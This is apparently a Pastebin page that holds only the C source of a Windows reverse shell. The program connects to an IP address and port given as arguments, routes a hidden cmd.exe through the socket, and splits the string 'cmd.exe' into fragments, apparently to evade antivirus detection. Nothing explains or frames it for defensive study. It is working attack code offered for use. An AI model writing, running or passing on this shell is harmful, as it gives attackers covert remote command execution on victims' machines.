Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <winsock2.h>
- #include <stdio.h>
- #pragma comment(lib, "w2_32")
- WSADATA wsaData;
- SOCKET Winsock;
- SOCKET Sock;
- struct sockaddr_in hax;
- char aip_addr[16];
- STARTUPINFO ini_processo;
- PROCESS_INFORMATION processo_info;
- int main(int argc, char *argv[])
- {
- char *ip = argv[1];
- char *port = argv[2];
- if(argc < 3) exit(0);
- WSAStartup(MAKEWORD(2,2), &wsaData);
- Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
- hax.sin_family = AF_INET;
- hax.sin_addr.s_addr = inet_addr(ip);
- hax.sin_port = htons(atoi(port));
- WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL);
- if (WSAGetLastError() == 0) {
- memset(&ini_processo, 0, sizeof(ini_processo));
- ini_processo.cb=sizeof(ini_processo);
- ini_processo.dwFlags=STARTF_USESTDHANDLES;
- ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
- char *myArray[4] = { "cm", "d.e", "x", "e" };
- char command[8] = "";
- snprintf( command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);
- CreateProcess(NULL, command, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info);
- exit(0);
- } else {
- exit(0);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement